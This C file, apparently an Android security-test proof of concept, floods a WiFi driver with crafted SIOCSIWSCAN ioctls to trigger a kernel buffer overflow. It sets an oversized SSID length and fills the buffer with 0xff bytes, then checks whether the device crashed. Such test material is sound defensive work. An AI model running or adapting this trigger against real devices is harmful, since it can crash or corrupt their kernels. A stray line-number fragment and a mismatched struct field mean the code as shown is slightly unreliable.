1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #include <android/log.h>
17 #include <dirent.h>
18 #include <dlfcn.h>
19 #include <errno.h>
20 #include <fcntl.h>
21 #include <jni.h>
22 #include <limits.h>
23 #include <net/if.h>
24 #include <stdio.h>
25 #include <stdlib.h>
26 #include <string.h>
27 #include <sys/ioctl.h>
28 #include <sys/socket.h>
29 #include <sys/stat.h>
30 #include <sys/types.h>
31 #include <sys/types.h>
32 #include <unistd.h>
33 #define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
34 #define AID_NET_RAW 3004 /* can create raw INET sockets */
35 #define AID_NET_ADMIN 3005
36 #define SIOCSIWPRIV 0x8B0C
37 #define SIOCGIWNAME 0x8B01
38 #define SIOCGIWRANGE 0x8B0B
39 #define SIOCSIWSCAN 0x8B18
40 #define SIOCSIWSPY 0x8B10
41 #define IW_ESSID_MAX_SIZE 32
42 #define IW_MAX_FREQUENCIES 32
43 #define SIR_MAC_MAX_SSID_LENGTH 32
44 #define IW_SCAN_THIS_ESSID 0x0002
45 
46 typedef int __s32;
47 typedef unsigned char __u8;
48 typedef unsigned short __u16;
49 
50 struct iw_param {
51   __s32 value;   /* The value of the parameter itself */
52   __u8 fixed;    /* Hardware should not use auto select */
53   __u8 disabled; /* Disable the feature */
54   __u16 flags;   /* Various specifc flags (if any) */
55 };
56 
57 struct iw_point {
58   void *pointer; /* Pointer to the data  (in user space) */
59   __u16 length;  /* number of fields or size in bytes */
60   __u16 flags;   /* Optional params */
61 };
62 
63 struct iw_quality {
64   __u8 qual;    /* link quality (%retries, SNR,
65                                    %missed beacons or better...) */
66   __u8 level;   /* signal level (dBm) */
67   __u8 noise;   /* noise level (dBm) */
68   __u8 updated; /* Flags to know if updated */
69 };
70 
71 struct iw_freq {
72   __s32 m;    /* Mantissa */
73   __s16 e;    /* Exponent */
74   __u8 i;     /* List index (when in range struct) */
75   __u8 flags; /* Flags (fixed/auto) */
76 };
77 
78 union iwreq_data {
79   /* Config - generic */
80   char name[IFNAMSIZ];
81   /* Name : used to verify the presence of  wireless extensions.
82    * Name of the protocol/provider... */
83   struct iw_point essid;    /* Extended network name */
84   struct iw_param nwid;     /* network id (or domain - the cell) */
85   struct iw_freq freq;      /* frequency or channel :
86                                * 0-1000 = channel
87                                * > 1000 = frequency in Hz */
88   struct iw_param sens;     /* signal level threshold */
89   struct iw_param bitrate;  /* default bit rate */
90   struct iw_param txpower;  /* default transmit power */
91   struct iw_param rts;      /* RTS threshold threshold */
92   struct iw_param frag;     /* Fragmentation threshold */
93   __u32 mode;               /* Operation mode */
94   struct iw_param retry;    /* Retry limits & lifetime */
95   struct iw_point encoding; /* Encoding stuff : tokens */
96   struct iw_param power;    /* PM duration/timeout */
97   struct iw_quality qual;   /* Quality part of statistics */
98   struct sockaddr ap_addr;  /* Access point address */
99   struct sockaddr addr;     /* Destination address (hw/mac) */
100   struct iw_param param;    /* Other small parameters */
101   struct iw_point data;     /* Other large parameters */
102 };
103 
104 struct iwreq {
105   union {
106     char ifrn_name[IFNAMSIZ];
107   } ifr_ifrn;
108   union iwreq_data u;
109 };
110 
111 struct iw_scan_req {
112   __u8 scan_type;
113   __u8 essid_len;
114   __u8 num_channels;
115   __u8 flags;
116   struct sockaddr bssid;
117   __u8 essid[IW_ESSID_MAX_SIZE];
118   __u32 min_channel_time; /* in TU */
119   __u32 max_channel_time; /* in TU */
120   struct iw_freq channel_list[IW_MAX_FREQUENCIES];
121 };
122 
main(void)123 int main(void) {
124   int fd;
125   int ret = -2;
126   struct iwreq prIwReq;
127   int i = 0;
128   struct iw_scan_req *scan_req;
129   if (getuid() != 0)
130     return -1;
131   gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
132   setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
133   setuid(2000);
134   fd = socket(AF_INET, SOCK_STREAM, 0);
135   if (fd == -1) {
136     perror("[-] socket failed!\n");
137     return -1;
138   }
139   strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ);
140   prIwReq.ifr_name[IFNAMSIZ - 1] = '\0';
141   scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff);
142   memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff);
143   scan_req->essid_len = 0xff;
144   prIwReq.u.data.length = sizeof(struct iw_scan_req);
145   prIwReq.u.data.pointer = scan_req;
146 
147   prIwReq.u.data.flags = IW_SCAN_THIS_ESSID;
148   for (i = 0; i < 0x1000; ++i) {
149     errno = 0;
150     ret = ioctl(fd, SIOCSIWSCAN, &prIwReq);
151     printf(" try %d times, %s crashed ? \n", i, strerror(errno));
152   }
153   return 0;
154 }
155